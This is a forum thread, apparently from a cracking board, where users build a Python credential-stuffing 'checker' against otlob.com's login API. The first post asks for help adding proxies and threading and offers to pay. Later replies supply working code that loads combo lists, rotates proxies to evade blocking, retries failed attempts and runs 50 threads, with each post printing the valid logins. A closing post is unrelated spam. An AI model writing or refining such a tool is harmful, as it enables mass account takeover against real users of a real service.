[Python] Help with code

[Mokq]

i wish if someone can help me to add proxy or make this little checker working with proxies and threading, i tried a lot to add proxies but i can't!

also i'm ready to pay if someone wanna make some money from this help

import requests
import json

a = open("combo.txt","r")
stop = "defualt"
file = [s.rstrip()for s in a.readlines()]
for lines in file:
    combo = lines.split(":")
    data ={"username":combo[0], 
    "password":combo[1], 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
    "accept": "application/json, text/plain, */*",
    "accept-encoding": "gzip, deflate, br",
    "accept-language": "en-US",
    "origin": "https://www.otlob.com",
    "referer": "https://www.otlob.com/",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
    }
    try:
        rsp = requests.post(url, json=data, headers=headers)
        #print(rsp.text)
        if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
            print(f"Fail{combo[0],combo[1]}")

        else:
            print(f"Success{combo[0],combo[1]}")

    except:
       break
    if stop in combo[0]:
       break 

[Line]

added i can provide some help on discord

[hopsin22]

added i can provide some help on discord

can you make script of freebitco.in

[meowtit]

 

i wish if someone can help me to add proxy or make this little checker working with proxies and threading, i tried a lot to add proxies but i can't!

also i'm ready to pay if someone wanna make some money from this help

import requests
import json

a = open("combo.txt","r")
stop = "defualt"
file = [s.rstrip()for s in a.readlines()]
for lines in file:
    combo = lines.split(":")
    data ={"username":combo[0], 
    "password":combo[1], 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
    "accept": "application/json, text/plain, */*",
    "accept-encoding": "gzip, deflate, br",
    "accept-language": "en-US",
    "origin": "https://www.otlob.com",
    "referer": "https://www.otlob.com/",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
    }
    try:
        rsp = requests.post(url, json=data, headers=headers)
        #print(rsp.text)
        if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
            print(f"Fail{combo[0],combo[1]}")

        else:
            print(f"Success{combo[0],combo[1]}")

    except:
       break
    if stop in combo[0]:
       break 

Adding proxy support to python requests is simple. 

proxies = {
 "http": "http://10.10.10.10:8000",
 "https": "http://10.10.10.10:8000",
}
proxy_with_auth = {
 "http": "http://username:[email protected]:8000",
 "https": "http://username:[email protected]:8000",
}
r = requests.get(“http://google.com”, proxies=proxies)

Also if you're going to be using proxies then you should import Timeout from requests like so "from requests import Timeout"

Then use it for the request kwargs.

rsp = requests.post(url, json=data, headers=headers, timeout=2)

This will cause an exception.

 

Simple way to create threads.

https://pymotw.com/2/threading/

[meowtit]

import requests
from requests import Timeout
import random
def login(username,password,proxy):
    data ={"username":username, 
    "password":password, 
    "rememberMe": "false"
    }
    url = "https://www.otlob.com/apiweb/v1/account/login"
    headers = {"content-type": "application/json;charset=UTF-8",
               "accept": "application/json, text/plain, */*",
               "accept-encoding": "gzip, deflate, br",
               "accept-language": "en-US",
               "origin": "https://www.otlob.com",
               "referer": "https://www.otlob.com/",
               "sec-fetch-dest": "empty",
               "sec-fetch-mode": "cors",
               "sec-fetch-site": "same-origin",
               "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"}
    try:
        rsp = requests.post(url, json=data, headers=headers,timeout=2)
    except:
        return None
        #print(rsp.text)
    
    if "Sorry, we couldn’t log you in, your email or password may be incorrect or expired. Please try again, or reset your password" in rsp.text:
        print(f"Fail{username,password}")
        return False
    #You should make this a success key else you will have false positives if you don't
    else:
        print(f"Success{username,password}")
        return True
#Load text and replace errors with "spaces", wthout using error kwarg it will cause an exception
with open("combo.txt","r",encoding="utf8",errors="replace") as combo_file:
    combo_text = combo_file.read()
    combos = combo_text.splitlines()

    #Remove dupes
    combos = list(dict.fromkeys(combos))
#Load proxies
with open("proxies.txt","r",encoding="utf8",errors="replace") as proxy_file:
    proxy_text = proxy_file.read()
    proxies = proxy_text.splitlines()

    #Remove dupes
    proxies = list(dict.fromkeys(proxies))
print(f"Loaded combos {len(combos)}")
print(f"proxies combos {len(proxies)}")

def requests_proxy(proxy):
    proxy_parts = proxy.split(":")
    #No auth
    if len(proxy_parts) == 2:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}"}
        return proxy
    #Auth
    elif len(proxy_parts) == 4:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}"}
        return proxy
    else:
        pass
#Loop the combos
for combo in combos:
    proxy = requests_proxy(random.choice(proxies))
    #Valid flag
    valid_combo = False 
    try:
        #Only split the first instance of ":"
        username,password = combo.split(":",1)
        valid_combo = True
    except:
        #Some combos will not be valid and cause an exception if they can't be split or unpacked
        pass
    if valid_combo:
        login(username,password,proxy)

Read the comments in the code. You should change the success key to something more unique.

[ogMeowz]

I modified the final code to add checking on retries for combos and basic threading.

import random
import requests
import threading

THREADS = 50

def login(worker, proxy):

    combo = worker.split(':')

    url = "https://www.otlob.com/apiweb/v1/account/login"

    data = {
        "username":combo[0], 
        "password":combo[1], 
        "rememberMe": "false"
        }

    headers = {
        "content-type": "application/json;charset=UTF-8",
        "accept": "application/json, text/plain, */*",
        "accept-encoding": "gzip, deflate, br",
        "accept-language": "en-US",
        "origin": "https://www.otlob.com",
        "referer": "https://www.otlob.com/",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
        }

    try:

        r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)

    except:
        combos.append(worker)
        return

    if 'Sorry, we couldn’t log you in' in r.text:
        print('[-] {}'.format(worker))

    else:
        print('[+] {}'.format(worker))

def worker():

    while len(combos) > 0:
        worker = combos.pop()
        proxy = requests_proxy(random.choice(proxies))

        login(worker, proxy)

with open("combo.txt", "r", encoding="utf8", errors="replace") as combo_file:
    combo_text = combo_file.read()
    combos = combo_text.splitlines()

    combos = list(dict.fromkeys(combos))

print('[+] Combos {}'.format(len(combos)))

with open("proxies.txt", "r", encoding="utf8", errors="replace") as proxy_file:
    proxy_text = proxy_file.read()
    proxies = proxy_text.splitlines()

    proxies = list(dict.fromkeys(proxies))

print('[+] Proxies {}'.format(len(proxies)))

def requests_proxy(proxy):
    proxy_parts = proxy.split(":")

    if len(proxy_parts) == 2:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}"}
        return proxy

    elif len(proxy_parts) == 4:
        proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}",
                 "https": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}"}
        return proxy

    else:
        pass

for _ in range(THREADS):
    
    t = threading.Thread(target=worker(), daemon=True)
    t.start()


t.join()

print('checker completed... press enter to exit')
input()

edit:

 

you could put flags on the combos for splitting, I originally placed the data in the try block, then remembered if it caused an exception this would keep putting the same combo back in the list. you can handle it however you please. I chose not to do it in my example.

 

If you were worried about it, you could just use except the specific exception, and choose to return, Thus leaving it out of the list. To avoid unnecessary code.

 

example:

    try:

        combo = worker.split(':')
        
        data = {
            "username":combo[0], 
            "password":combo[1], 
            "rememberMe": "false"
            }

        r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)
        
    except ValueError:
        return

    except:
        combos.append(worker)
        return

 

Edited by ogMeowz, 06 July 2020 - 06:05 PM.

[SophieArnold42]

Wow, this is really interesting code. True, I don't really understand programming, but I think that if I knew programming, I could definitely help. I recently bought myself a laptop which I found through https://datasciencer...aptops-in-2020/ and now I think maybe I can start learning programming? Because this profession is quite profitable and in my opinion, if desired, programming can be learned quickly enough. Although probably many can argue with me and say that it is really difficult and maybe they will be right. Although I believe that I can learn programming and no one can stop me.

Edited by SophieArnold42, 05 September 2020 - 05:00 PM.